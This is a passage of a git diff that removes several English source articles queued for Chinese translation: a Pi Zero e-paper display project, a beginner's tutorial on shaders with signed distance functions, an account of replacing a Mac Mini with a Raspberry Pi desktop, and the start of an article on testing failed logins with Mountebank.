(GetMemUsed(),GetDiskUsed()),x=1,y=58,size=12,fontPath=fnorm,maxLines=1) -text.AddText("UPTIME %s" % GetUptime(),x=1,y=72,size=12,fontPath=fnorm) -text.WriteAll() - -sys.exit(0) -``` - -Normally, the script runs without any arguments and is called by a series of Bash scripts that I've written to start up various subsystems; these are, in turn, called from a menu system written in Whiptail, which is pretty versatile. In the case of the VPN system, I have a list of access points to choose from and that update the location on the display. Initially, I call the display updater with the location name (e.g., Honolulu), but at that point, I can't display the VPN IP address because I don't know it: - - -``` -   dispupdate.py ${accesspoint} -   openvpn --config $PATH/Privacy-${accesspoint}.conf --auth-user-pass credfile -``` - -When the display updater runs again (outside the VPN startup script), the IP address is readable from the **tun0** interface and the display is updated with the IP address. I may change this later, but it works fine now. I use the **PapirusTextPos** function (rather than **PapirusText**), as this allows multiple lines to be written before the display is updated, leading to a much faster write. The **text.WriteAll()** function does the actual update. - -### Adding more software - -I was very pleased with my initial choice of applications, but since I'd managed to slim the whole installation down to 1.7GB, I had plenty of available space. So, I decided to see if there was anything else that could be useful. Here's what I added: - -Irssi | IRC client ----|--- -FreeBSD games | There are still many text-mode games to enjoy -nmon | A _very_ comprehensive top-alike utility for all aspects of the system -Newsbeuter | Text-mode Atom/RSS feed reader - -And I still have about 300MB free space to take me up to 2GB, so I may add more. - -### We keed to talk about ~~Kevin~~ Bluetooth - -Observant readers will remember my hatred for Bluetooth and trying to pair terminal-based software with a Bluetooth device. When I bought a new Pi, I realized that I had to pair the damn thing up with the keyboards again. Oh, woe is me! But a search-engine session and a calming coffee enabled me to actually do it! It goes something like this: - - -``` -sudo su -bluetoothctl {enter} - -[bluetooth]# - -[bluetooth]# scan on -Discovery started -[CHG] Controller B8:27:EB:XX:XX:XX Discovering: yes - -[bluetooth]# agent on -Agent registered -[NEW] Device B2:2B:XX:XX:XX:XX Bluetooth Keyboard -Attempting to pair with B2:2B:XX:XX:XX:XX -[CHG] Device B2:2B:XX:XX:XX:XX Connected: yes -[agent] PIN code: 834652 -[CHG] Device B2:2B:XX:XX:XX:XX Modalias: usb:v05ACp0220d0001 -[CHG] Device B2:2B:XX:XX:XX:XX UUIDs: zzzzz -[CHG] Device B2:2B:XX:XX:XX:XX UUIDs: yyyyy -[CHG] Device B2:2B:XX:XX:XX:XX ServicesResolved: yes -[CHG] Device B2:2B:XX:XX:XX:XX Paired: yes -Pairing successful -[CHG] Device B2:2B:XX:XX:XX:XX ServicesResolved: no -[CHG] Device B2:2B:XX:XX:XX:XX Connected: no - -[bluetooth]# trust B2:2B:XX:XX:XX:XX -[CHG] Device B2:2B:XX:XX:XX:XX Trusted: yes -Changing B2:2B:XX:XX:XX:XX trust succeeded -[CHG] Device B2:2B:XX:XX:XX:XX RSSI: -53 - -[bluetooth]# scan off -[CHG] Device B2:2B:XX:XX:XX:XX RSSI is nil -Discovery stopped -[CHG] Controller B8:27:EB:XX:XX:XX Discovering: no - -[bluetooth]# exit -Agent unregistered - -$ -``` - -I was gobsmacked! No, really. I paired my other keyboard and am now considering pairing a speaker, but we'll see. I had a beer that night to celebrate my new-found "l33t" tech skills! Here is an [excellent guide][8] on how to do it. - -### One more hardware mod - -Until recently, I've been using as large a good-quality microSDHC card as I could afford, and in case of problems, I created a backup copy using the rsync-based rpi-clone. However, after reading various articles on the 'net where people complain about corrupted cards due to power problems, unclean shutdowns, and other mishaps, I decided to invest in a higher-quality card that hopefully will survive all this and more. This is important if you're traveling long distances and _really_ need your software to work at the destination. - -After a long search, I found the [ATP Industrial-Grade MicroSD/MicroSDHC][9] cards, which are rated military-spec for demanding applications. That sounded perfect. However, with quality comes a cost, as well as (in this case) limited capacity. In order to keep my wallet happy, I limited myself to an 8GB card, which may not sound like a lot for a working computer, but bearing in mind I have a genuine 5.3GB of that 8GB free, it works just fine. I also have a level of reassurance that bigger but lower-quality cards can't give me, and I can create an ISO of that card that's small enough to email if need be. Result! - -### What's next? - -The Zero goes from strength to strength, only needing to go out more. I've gone technically about as far as I can for now, and any other changes will be small and incremental. - -* * * - -_This was originally published on [Peter Garner's blog][10] under a CC BY-NC-ND 4.0 and is reused here with the author's permission._ - -The new issue of the official Raspberry Pi magazine, The MagPi, comes with a free computer stuck to... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/pi-zero-display - -作者:[Peter Garner][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/petergarner -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/zero-osdc-lead.png?itok=bK70ON2W (Pi Zero) -[2]: https://opensource.com/article/20/3/raspberry-pi-zero-w-road -[3]: https://petergarner.net/notes/index.php?thisnote=20180511-Travels+with+a+Pi+%282%29 -[4]: https://www.modmypi.com/raspberry-pi/screens-and-displays/epaper/papirus-zero-epaper--eink-screen-phat-for-pi-zero-medium -[5]: https://www.modmypi.com/raspberry-pi/cases-183/accessories-1125/watch-straps/pi-supply-papirus-zero-case -[6]: https://github.com/PiSupply/PaPiRus -[7]: https://opensource.com/sites/default/files/uploads/pizerodisplay.jpg (PiZero Display) -[8]: https://www.sigmdel.ca/michel/ha/rpi/bluetooth_01_en.html -[9]: https://www.digikey.com/en/product-highlight/a/atp/industrial-grade-microsd-microsdhc-cards -[10]: https://petergarner.net/notes/index.php?thisnote=20190205-Travels+with+a+Pi+%283%29 diff --git a/sources/tech/20200315 Getting started with shaders- signed distance functions.md b/sources/tech/20200315 Getting started with shaders- signed distance functions.md deleted file mode 100644 index acba8687fd..0000000000 --- a/sources/tech/20200315 Getting started with shaders- signed distance functions.md +++ /dev/null @@ -1,243 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Getting started with shaders: signed distance functions!) -[#]: via: (https://jvns.ca/blog/2020/03/15/writing-shaders-with-signed-distance-functions/) -[#]: author: (Julia Evans https://jvns.ca/) - -Getting started with shaders: signed distance functions! -====== - -Hello! A while back I learned how to make fun shiny spinny things like this using shaders: - -![][1] - -My shader skills are still extremely basic, but this fun spinning thing turned out to be a lot easier to make than I thought it would be to make (with a lot of copying of code snippets from other people!). - -The big idea I learned when doing this was something called “signed distance functions”, which I learned about from a very fun tutorial called [Signed Distance Function tutorial: box & balloon][2]. - -In this post I’ll go through the steps I used to learn to write a simple shader and try to convince you that shaders are not that hard to get started with! - -### examples of more advanced shaders - -If you haven’t seen people do really fancy things with shaders, here are a couple: - - 1. this very complicated shader that is like a realistic video of a river: - 2. a more abstract (and shorter!) fun shader with a lot of glowing circles: - - - -### step 1: my first shader - -I knew that you could make shaders on shadertoy, and so I went to . They give you a default shader to start with that looks like this: - -![][3] - -Here’s the code: - -``` -void mainImage( out vec4 fragColor, in vec2 fragCoord ) -{ - // Normalized pixel coordinates (from 0 to 1) - vec2 uv = fragCoord/iResolution.xy; - - // Time varying pixel color - vec3 col = 0.5 + 0.5*cos(iTime+uv.xyx+vec3(0,2,4)); - - // Output to screen - fragColor = vec4(col,1.0); -} -``` - -This doesn’t do anythign that exciting, but it already taught me the basic structure of a shader program! - -### the idea: map a pair of coordinates (and time) to a colour - -The idea here is that you get a pair of coordinates as an input (`fragCoord`) and you need to output a RGBA vector with the colour of that. The function can also use the current time (`iTime`), which is how the picture changes over time. - -The neat thing about this programming model (where you map a pair of coordinates and the time to) is that it’s extremely trivially parallelizable. I don’t understand a lot about GPUs but my understanding is that this kind of task (where you have 10000 trivially parallelizable calculations to do at once) is exactly the kind of thing GPUs are good at. - -### step 2: iterate faster with `shadertoy-render` - -After a while of playing with shadertoy, I got tired of having to click “recompile” on the Shadertoy website every time I saved my shader. - -I found a command line tool that will watch a file and update the animation in real time every time I save called [shadertoy-render][4]. So now I can just run: - -``` -shadertoy-render.py circle.glsl -``` - -and iterate way faster! - -### step 3: draw a circle - -Next I thought – I’m good at math! I can use some basic trigonometry to draw a bouncing rainbow circle! - -I know the equation for a circle (`x**2 + y**2 = whatever`!), so I wrote some code to do that: - -![][5] - -Here’s the code: (which you can also [see on shadertoy][6]) - -``` -void mainImage( out vec4 fragColor, in vec2 fragCoord ) -{ - // Normalized pixel coordinates (from 0 to 1) - vec2 uv = fragCoord/iResolution.xy; - // Draw a circle whose center depends on what time it is - vec2 shifted = uv - vec2((sin(iGlobalTime) + 1)/2, (1 + cos(iGlobalTime)) / 2); - if (dot(shifted, shifted) < 0.03) { - // Varying pixel colour - vec3 col = 0.5 + 0.5*cos(iGlobalTime+uv.xyx+vec3(0,2,4)); - fragColor = vec4(col,1.0); - } else { - // make everything outside the circle black - fragColor = vec4(0,0,0,1.0); - } -} -``` - -This takes the dot product of the coordinate vector `fragCoord` with itself, which is the same as calculating `x^2 + y^2`. I played with the center of the circle a little bit in this one too – I made the center `vec2((sin(iGlobalTime) + 1)/2, (1 + cos(faster)) / 2)`, which means that the center of the circle also goes in a circle depending on what time it is. - -### shaders are a fun way to play with math! - -One thing I think is fun about this already (even though we haven’t done anything super advanced!) is that these shaders give us a fun visual way to play with math – I used `sin` and `cos` to make something go in a circle, and if you want to get some better intuition about how trigonometric work, maybe writing shaders would be a fun way to do that! - -I love that you get instant visual feedback about your math code – if you multiply something by 2, things get bigger! or smaller! or faster! or slower! or more red! - -### but how do we do something really fancy? - -This bouncing circle is nice but it’s really far from the super fancy things I’ve seen other people do with shaders. So what’s the next step? - -### idea: instead of using if statements, use signed distance functions! - -In my circle code above, I basically wrote: - -``` -if (dot(uv, uv) < 0.03) { - // code for inside the circle -} else { - // code for outside the circle -} -``` - -But the problem with this (and the reason I was feeling stuck) is that it’s not clear how it generalizes to more complicated shapes! Writing a bajillion if statements doesn’t seem like it would work well. And how do people render those 3d shapes anyway? - -So! **Signed distance functions** are a different way to define a shape. Instead of using a hardcoded if statement, instead you define a **function** that tells you, for any point in the world, how far away that point is from your shape. For example, here’s a signed distance function for a sphere. - -``` -float sdSphere( vec3 p, float center ) -{ - return length(p)-center; -} -``` - -Signed distance functions are awesome because they’re: - - * simple to define! - * easy to compose! You can take a union / intersection / difference with some simple math if you want a sphere with a chunk taken out of it. - * easy to rotate / stretch / bend! - - - -### the steps to making a spinning top - -When I started out I didn’t understand what code I needed to write to make a shiny spinning thing. It turns out that these are the basic steps: - - 1. Make a signed distance function for the shape I want (in my case an octahedron) - 2. Raytrace the signed distance function so you can display it in a 2D picture (or raymarch? The tutorial I used called it raytracing and I don’t understand the difference between raytracing and raymarching yet) - 3. Write some code to texture the surface of your shape and make it shiny - - - -I’m not going to explain signed distance functions or raytracing in detail in this post because I found this [AMAZING tutorial on signed distance functions][2] that is very friendly and honestly it does a way better job than I could do. It explains how to do the 3 steps above and the code has a ton of comments and it’s great. - - * The tutorial is called “SDF Tutorial: box & balloon” and it’s here: - * Here are tons of signed distance functions that you can copy and paste into your code (and ways to compose them to make other shapes) - - - -### step 4: copy the tutorial code and start changing things - -Here I used the time honoured programming practice here of “copy the code and change things in a chaotic way until I get the result I want”. - -My final shader of a bunch of shiny spinny things is here: - -The animation comes out looking like this: - -![][7] - -Basically to make this I just copied the tutorial on signed distance functions that renders the shape based on the signed distance function and: - - * changed `sdfBalloon` to `sdfOctahedron` and made the octahedron spin instead of staying still in my signed distance function - * changed the `doBalloonColor` colouring function to make it shiny - * made there be lots of octahedrons instead of just one - - - -### making the octahedron spin! - -Here’s some the I used to make the octahedron spin! This turned out to be really simple: first copied an octahedron signed distance function from [this page][8] and then added a `rotate` to make it rotate based on time and then suddenly it’s spinning! - -``` -vec2 sdfOctahedron( vec3 currentRayPosition, vec3 offset ){ - vec3 p = rotate((currentRayPosition), offset.xy, iTime * 3.0) - offset; - float s = 0.1; // what is s? - p = abs(p); - float distance = (p.x+p.y+p.z-s)*0.57735027; - float id = 1.0; - return vec2( distance, id ); -} -``` - -### making it shiny with some noise - -The other thing I wanted to do was to make my shape look sparkly/shiny. I used a noise funciton that I found in [this github gist][9] to make the surface look textured. - -Here’s how I used the noise function. Basically I just changed parameters to the noise function mostly at random (multiply by 2? 3? 1800? who knows!) until I got an effect I liked. - -``` -float x = noise(rotate(positionOfHit, vec2(0, 0), iGlobalTime * 3.0).xy * 1800.0); -float x2 = noise(lightDirection.xy * 400.0); -float y = min(max(x, 0.0), 1.0); -float y2 = min(max(x2, 0.0), 1.0) ; -vec3 balloonColor = vec3(y , y + y2, y + y2); -``` - -### writing shaders is fun! - -That’s all! I had a lot of fun making this thing spin and be shiny. If you also want to make fun animations with shaders, I hope this helps you make your cool thing! - -As usual with subjects I don’t know tha well, I’ve probably said at least one wrong thing about shaders in this post, let me know what it is! - -Again, here are the 2 resources I used: - - 1. “SDF Tutorial: box & balloon”: (which is really fun to modify and play around with) - 2. Tons of signed distance functions that you can copy and paste into your code - - - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/03/15/writing-shaders-with-signed-distance-functions/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://jvns.ca/images/spinny.gif -[2]: https://www.shadertoy.com/view/Xl2XWt -[3]: https://jvns.ca/images/colour.gif -[4]: https://github.com/alexjc/shadertoy-render -[5]: https://jvns.ca/images/circle.gif -[6]: https://www.shadertoy.com/view/tsscR4 -[7]: https://jvns.ca/images/octahedron2.gif -[8]: http://www.iquilezles.org/www/articles/distfunctions/distfunctions.htm -[9]: https://gist.github.com/patriciogonzalezvivo/670c22f3966e662d2f83 diff --git a/sources/tech/20200315 How I migrated from a Mac Mini to a Raspberry Pi.md b/sources/tech/20200315 How I migrated from a Mac Mini to a Raspberry Pi.md deleted file mode 100644 index 0e1c7196fa..0000000000 --- a/sources/tech/20200315 How I migrated from a Mac Mini to a Raspberry Pi.md +++ /dev/null @@ -1,184 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I migrated from a Mac Mini to a Raspberry Pi) -[#]: via: (https://opensource.com/article/20/3/mac-raspberry-pi) -[#]: author: (Peter Garner https://opensource.com/users/petergarner) - -How I migrated from a Mac Mini to a Raspberry Pi -====== -Learn more about Linux by turning a Raspberry Pi Model 2 into a workable -desktop computer. -![Vector, generic Raspberry Pi board][1] - -Some time ago, I decided to move my computing environment from a Mac Mini PowerPC to a Raspberry Pi Model 2. This article describes my reasons for doing so and how I did it. While it is quite technical in places, if you're considering switching from an existing system to something decidedly lean and mean, there are things that you need to know before making that leap. There are lots of links to click as well, which will lead you to the software and apps that I mention. - -Enjoy! - -## Saying goodbye to the Mac - -I have to admit, I've never really been an Apple fanboi, especially following a short (and ultimately unsatisfactory) fling with a plastic polycarbonate MacBook back in 2006. Although it was beautifully designed, and the software "Just Worked," I was understandably upset when it decided to expire shortly after the warranty period expired (design faults, apparently). Ah well. - -I swore never to "invest" in an Apple machine again—until I discovered a used Mac Mini PowerPC on eBay that could be had for around $100 in 2012. It was new back in 2005 but had apparently been refurbished. "What have I got to lose, especially at that price?" I asked myself. Nobody answered, so I placed a last-minute bid, won it, and invested about the same sum of money again in bumping the memory up to 1GB and buying the OS on DVD. The OS X version was 10.4.7 Tiger, and the architecture was Power PC. It was sedate but reliable, and I was happy. It didn't take a lot of power either; some 60 watts at full load, so that was a bonus. I spent many happy hours tinkering with it and trying to find software that was supported on a device that old. - -Predictably though, as my computing requirements grew and the Mac got older, it started to get noticeably slower, and I was aware that even simple tasks—such as asking it to run a web browser and display an HTTPS page—were causing it problems. When I finally managed to find antivirus software for it, I became aware of just how noisy the Mini's cooling fan was as the CPU struggled with the extra load. - -A quick check of the performance monitors revealed thousands of memory-paging faults, and I realized that my old friend was soon destined for the knackers yard. Of course, that meant searching for a replacement, and that's when the fun started. - -## A(nother) small computer - -My main problem was that I didn't have a big budget. I looked at eBay again and found a number of Mac Minis for sale, all around the $500 mark, and many of those were early basic-spec Intel units that, like my old Mac, people had simply grown out of. Essentially, I wanted something like the old Mini, ideally with similar power consumption. A new one was out of the question, obviously. - -Let me state that my computer requirements are pretty undemanding, and for photo/graphics work, I have another computer that consumes power like there's no tomorrow and gives off enough heat to keep me warm in winter. And then I got to thinking about the [Raspberry Pi Model 2][2]. Now before you laugh, I have around six of the things running various servers, and they do just fine. One runs a small web server, another runs a mail server, and so on. Each one costs around $30, and most use a cheap microSDHC card, so if one fails, I can easily swap it out for another, and I can usually buy a suitable card at a local supermarket—try doing that when your laptop drive fails! I also have a Netgear ReadyNAS 102 with a couple of 2TB hard drives to act as my bulk storage. - -Suddenly, my plan looked as though it might be viable after all! - -## Spec'ing it out - -The specification was a bit of a no-brainer: The Model 2 Pi comes with 1GB of memory standard, the Ethernet runs at 100Mbps maximum, the clock speed is 900MHz, there are four USB ports, and that's yer lot, mate. You can overclock it, but I've never wanted to try this for various reasons. - -I had a Pi in my spares drawer, so no problem there. I ordered a posh aluminum case made by [Flirc][3] that was on offer for $20 and duly slotted in the Pi. The power supply unit (PSU) had to be a genuine two-amp device, and again, I had a spare lying around. If you take your Pi ownership seriously, I recommend the [Anker 40W][4] five-port desktop charger: it has intelligent power management, and I'm running five Pis from one unit. Incidentally, if you inadvertently use a PSU that can't deliver the required current, you'll keep seeing a square, multi-colored icon in the top-right corner of your screen, so be warned. - -The microSDHC "disk" was more of an issue, though. I always use SanDisk, and this time I wanted something fast, especially as this was to be a "desktop" machine. In the end, I went for a [SanDisk 8GB Extreme Pro UHS-1][5] card that promised up to 90 to 95 Mbps write/read performance. "8GB? That's not a lot of space," I hear you Windows users cry, and because this is Linux, there doesn't need to be. - -The way I envisioned it, I'd set up the Pi normally and use it primarily as a boot disk. I'd host all my documents and media files on the network-attached storage (NAS) box, and all would be well. The NAS shares would be accessed via network filesystem (NFS), and I'd just mount them as directories on the Pi. - -Quite early on, I elected to move my entire home directory onto the NAS, and this has worked well, with some quirks. The problem I faced was a Pi quirk, and although I was sure there was a fix, I wanted to get it up and running before the Mac finally crapped out. When the Pi boots, it seems to enable the networking part quite late in the sequence, and I found that I couldn't do my NFS mounts because the networking interface hadn't come up yet. Rather than hack around with tricky scripts, I decided to simply mount the NFS shares by hand after I'd logged in after a successful boot. This seemed to work, and it's the solution I'm using now. Now that I had a basic strategy, it was time to implement it on the "live" machine. - -That's the beauty of working with the Raspberry Pi—you can quickly hack together a testbed and have a system up and running in under 30 minutes. - -Regarding video, I bought an HDMI-to-DVI cable to use with my Dell monitor, and in GUI desktop mode, this comes up as 1280x1024—plenty good enough for my use. If you have a monster flat-screen TV, you can always use that instead. - -## My software environment - -### Operating system - -I ultimately decided on [Arch Linux for ARM][6] 7H as the operating system. I'm a [Raspbian][7] veteran, but I didn't need the educational software that comes with it (I have other Pis for that). Arch provides a minimal environment but is full-featured, well-supported, and powerful; it also has bucket-loads of software available. After its initial installation, I'd used just over 1.2GB of space, and even now, with all my software on the microSDHC, I'm only using 2.8GB of my 8GB card. Please note that the Pi 2 is officially Arch Linux ARM 7, not 6. - -### Desktop - -I wanted a graphical desktop environment (even though I'm a command-line sorta guy), but it needed to be in keeping with the lean and mean ethos. I'd used [LXDE][8] before and was happy with it, so I installed it; GNOME and KDE were just too big. - -### Web browser - -The web browser was a bit of a problem, but after trying the default Midori, Epiphany, and a couple of others, I decided on [Firefox][9]. It's a bit flabby, but it follows standards well, and if you're going to digitally sign LibreOffice ODT documents, you'll need it anyway. One problem on a machine of this power is the tremendous toll that web-based ads place on the overall memory usage. In fact, a badly ad'ed page can make the browser stop completely, so I had to make those ads disappear. One way would be to install an ad-blocker plugin, but that's another hit on available memory, so a simpler method was called for. - -As this is a Linux box, I simply downloaded an [ad-blocking hosts file][10]. This is an amazing piece of community work that consists of over 15,000 hostnames for basically any server that spits out ads. All the entries point to an IP address of 0.0.0.0, so there's no time wasted and your bandwidth's your own again. It's a free download and can be added to the end of an existing hosts file. Of course, the major value, as far as I'm concerned, is that page load times are much quicker. - -The screen capture below shows an ad-free Firefox overlaid with the same page in [ELinks][11]. - -![Firefox and eLinks browsers on Raspberry Pi][12] - -No ads in either, but if you don't need all the eye candy rendered by Firefox, ELinks will provide a super-clean experience. (Normally, all that whitespace in the Firefox image is filled with ads.) The ELinks browser is an interesting hybrid browser that is primarily text-based and is similar to the classic pure-text Lynx browser. - -### Messaging - -It would be overkill, and undesirable from a security point of view, to have Microsoft Skype on the Pi, so I decided on a Jabber/XMPP client, [Psi][13]. Psi has the advantage of not having a multitude of dependencies, and it also works really well. It's easy to take part in multi-user chats, and I have another Pi hosting a Jabber server to test it on. There's no character-mode version, unfortunately, and most of the text-based clients I tried had problems, so it's a GUI-only situation at the moment. No matter; it works well and doesn't use a lot of resources. - -### Email - -I also tried a number of email applications: this was easily the most important application. Eventually, I chose [Claws Mail][14]. Sadly, it doesn't do HTML mail, but it's rock-solid reliable. I have to say that I can't get the GNU Privacy Guard (GPG) plugin working properly yet due to some unresolved version issues, but I can always encrypt messages in a terminal, if need be. - -### Audio - -Music is important to me, and I chose [SMPlayer][15] as my media player. It supports many options, including playlists for local and networked files and internet radio streaming. It does the job well. - -### Video - -I'll not go into the video player in any great detail. Bearing in mind the hardware specs of the Pi, reliably playing back a video stream, even on the same network, was problematic. I decided that if I wanted to watch videos, I had other devices more suited to it. I did try and experiment with the **gpu_mem** setting in the **[/boot/config.txt][16]**, switching it from the default 64MB to 96MB. I was prepared to borrow a bit of application memory for the video player, but even that didn't seem to make it work well. In the end, I kept that setting so that the desktop environment would run more smoothly, and so far, I haven't had problems. The irony of this is that I have another Pi that has a [DLNA][17] server installed, and this can stream video exceedingly well—not just to one client, but several. In its defense, though, it doesn't have a desktop environment to contend with. So, for now, I don't bother trying to play video. - -### Image processing - -I need to do simple, lightweight photo and image editing, and I knew from prior experience that GIMP and similar packages would bring the Pi to its knees. I found an app called [Pinta][18], which resembles an enhanced Microsoft Paint, but with more cojones. As someone with a large image collection, I also needed a slideshow application. After much evaluation, I decided on [feh][19]. Normally run from a terminal within the GUI desktop, it has an incredible array of options that can help you produce an image slideshow, and again, it has low memory requirements. - -### Office suite - -And then there was an office suite. On the old Mac Mini, I was happily (and legally) running a copy of Microsoft Mac Office 2004, and I was truly sorry to lose that. I just needed a Microsoft Word and Excel equivalent, but I had to bear in mind the Pi's limitations. Sure, there are standalone versions of word-processor and spreadsheet applications, but there was nothing that really gave me confidence that I could edit a full-featured document. - -I already knew of [LibreOffice][20], but I had my doubts about it because of its Java Runtime Environment (JRE) requirement, or so I thought. Thankfully, JRE was optional, and as long as I didn't want to use (database) connection pooling of macros, there was no need to enable it. I also used as many built-in options as possible, rejecting skins and themes; this brought the overall memory footprint down to a reasonable level, and hey, I'm writing this on LibreOffice Writer now! I adopted the attitude that if it has a built-in theme, use it! - -Here's the current [memory overview][21] (in MB) from within the GUI desktop: - -![Raspberry Pi GUI memory usage][22] - -### Miscellaneous - -Other desktop software I've installed (not much as I wanted in order to keep this a minimal installation) is: - - * [FileZilla][23]: SFTP/FTP client - * [PuTTY][24]: SSH/telnet terminal frontend - * [Mousepad][25]: A versatile plain-text editor, similar to Wordpad or Notepad, but much more powerful **[Note: this link was broken. Is this ok?]** - - - -Overall, the entire setup works as intended. I've found that it performs well, if a little slow sometimes, but this is to be expected, as it's running on a Raspberry Pi with a 900MHz clock speed and 1GB of memory. As long you're aware of and prepared to accept the limitations, you can have a cheap, very functional system that doesn't take up all your desk space. - -## Lacking in characters - -Life with a Pi desktop is not all about the GUI; it's a very competent command-line environment too, should you need one. As a Linux developer and geek, I am very comfortable in a character-mode environment, and this is where the Pi really comes into its own. The performance you can expect in the command-line environment, at least in my configuration, is dependent on a number of factors. I'm limited to a certain extent by the Pi's network-interface speed and the overall performance of my Netgear ReadyNAS 102, another slightly underpowered, consumer-grade ARM box. The one thing that did please me, though, was the noticeable increase in speed over the Mac Mini! - -Running in a native terminal environment, this is the typical memory usage (in MB) you might expect: - -![Raspberry Pi terminal memory usage][26] - -One thing to note is the lack of a swap partition. It's generally accepted that any type of swap system on a Raspberry Pi is a Very Bad Thing™ and will wear out your SD card in no time. I considered setting up a swap partition on the NAS box, but I ruled this out early on, as it would very negatively impact the network as a whole, and as with the NFS mount issue, the swap partition would need to be mounted before the network came up. So no go. - -Having lived with Raspberry Pis for some time now, let's just say that one has to learn to set things up carefully in the first place to avoid the need, and ultimately, it can teach you to manage computers better. - -As part of my efforts to make the Pi as useful as possible, I had to envision a scenario where whatever I was working on was either so resource-hungry that I couldn't run a GUI desktop or the GUI was just not required. That meant reproducing as many of the desktop-only apps in a character-mode environment. In fact, this was easier than finding the equivalent desktop apps. - -Here is my current lineup: - - * **File manager:** [Midnight Commander][27]; if you're old enough to remember Norton Commander, you'll know what it looks like. - * **File transfer:** SSH/SFTP; normally handled by PuTTY and FileZilla on the desktop, you just use these two commands as provided. - * **Web browser:** Lynx or Links are classic character-mode browsers that significantly speed up the internet experience. - * **Music player:** Yes, you can play music in a character-mode terminal! [Mpg123][28] is the name of the app, and when it's run as **mpg123 -C**, it allows full keyboard control of all playback functions. If you want to be really cool, you can alter the way Midnight Commander handles MP3 files by editing **/etc/mc/mc.ext** and adding the code snippet below. This allows you to browse and play your music collection with ease. [code] shell/i/.mp3 -      Open=/usr/bin/mpg123 -C %f -      View=%view{ascii} /usr/lib/mc/ext.d/sound.sh view mp3 -``` - * **Office:** Don't be silly! Oh wait, though; I installed the character-mode spreadsheet app called **sc** (Supercalc?), and there's always Vi if you want to edit a text document, but don't expect to able to edit any Microsoft files. If your need is truly great, you can install a supplementary application called Antiword, which will let you view a .doc file. - * **Email:** A bit of a problem, as the Claws Mail mailbox format is not directly compatible with my character-mode app of choice, Mutt. There's a workaround, but I'm only going to do it if I get some spare time. For sending quick emails, I installed ssmtp, which is described as "a send-only sendmail emulator for machines which normally pick their mail up from a centralized mail hub." The setup is minimal, and overhead is practically nil, as normally it's invoked only when mail is being sent. So, you can do things like typing **echo "The donuts are on my desk" | mail -s"Important News" [everybody@myoffice.com][29]** from the command line without firing up a GUI mail app. - - - -For everything else, it's just a question of flipping back to the GUI desktop. Speaking of which… - -![Raspberry Pi GUI desktop environment][30] - -Quite a busy screen, but the Raspberry Pi handles it well. Here, I'm using LibreOffice to write this article, there's a network status box, Firefox is on the mpg123 website, and there's a terminal running top showing how much memory (isn't) being used. The drop-down menu on the left shows the office suite apps. - -## Other scenarios and thoughts - -### What's where - -With any hybrid system like this, it's important to remember what is located where so that, in the event of any problems, recovery will be easier. In my current configuration, the microSDHC card contains only the operating system, and as much as possible, any system-configuration files are also on there. Your own userland data will be on the NAS in your home directory. Ideally, you should be to replace or update the software on the microSDHC without having any adverse effects on your computing environment as a whole, but in IT, it's never that straightforward. - -In the X11 GUI desktop system, although there is a default config file in **/etc/X11**, you will invariably have a customized version containing your own preferences. (This is by design.) Your own file on the NAS, however, will reference files on the microSDHC: - -![Location of files][31] - -The overall effect is that if you change one environment for another, you will invariably experience a change (or loss) in functionality. Hopefully, the changes will be minor, but you do need to be aware of the sometimes ambiguous links. - -Please remember that the **root** user will _always_ be on the microSDHC, and if your NAS box fails for any reason, you'll still be able to boot your system and at least do some recovery work. - -### NAS alternatives - -While I'm in my home office, I have full access to my NAS box, which represents what (in today's terminology) would be a personal cloud. I much prefer this solution to a commercial cloud that is invariably managed by a company of unknown origin, location, security, and motives. For those reasons, I will always host my data where I can see it and physically get to it as required. Having said that, you may not be as paranoid as I am and will want to hook up your Pi desktop to an external cloud share. - -In that case, using an NFS mount as a basis for your home directory should mean that it's simply a matter of editing your **/etc/fstab** to point the NFS client at a different location. In my setup, the NAS box is called, er, NASBOX, and the local NFS share mountpoint is called **/NASmount**. When you create your non-root user, you'll simply move their home directory to an existing directory called **/NASmount**: -``` - - -NASBOX:/data/yourshare /NASmount nfs -nfsvers=3,rsize=8192,wsize=8192,timeo=60,intr,auto 0 0 - -mount -t nfs -v NASBOX:/data/yourshare /NASmount - -``` -and then your directory tree could look like this: -``` -`/NASmount/home/user` -``` -So, by simply changing the **/etc/fstab** entry, you could quickly be hooked up to someone else's cloud. This, as they say, is left as an exercise for the re \ No newline at end of file diff --git a/sources/tech/20200316 How to test failed authentication attempts with test-driven development.md b/sources/tech/20200316 How to test failed authentication attempts with test-driven development.md deleted file mode 100644 index abe34d97e2..0000000000 --- a/sources/tech/20200316 How to test failed authentication attempts with test-driven development.md +++ /dev/null @@ -1,288 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to test failed authentication attempts with test-driven development) -[#]: via: (https://opensource.com/article/20/3/failed-authentication-attempts-tdd) -[#]: author: (Alex Bunardzic https://opensource.com/users/alex-bunardzic) - -How to test failed authentication attempts with test-driven development -====== -Mountebank makes it easier to test the "less happy path" in your code. -![Programming keyboard.][1] - -Testing often begins with what we hope happens. In my [previous article][2], I demonstrated how to virtualize a service you depend on when processing the "happy path" scenario (that is, testing the outcome of a successful login attempt). But we all know that software fails in spectacular and unexpected ways. Now's the time to take a closer look into how to process the "less happy paths": what happens when someone tries to log in with the wrong credentials? - -In the first article linked above, I walked through building a user authentication module. (Now is a good time to review that code and get it up and running.) This module does not do all the heavy lifting; it mostly relies on another service to do those tougher tasks—enable user registration, store the user accounts, and authenticate the users. The module will only be sending HTTP POST requests to 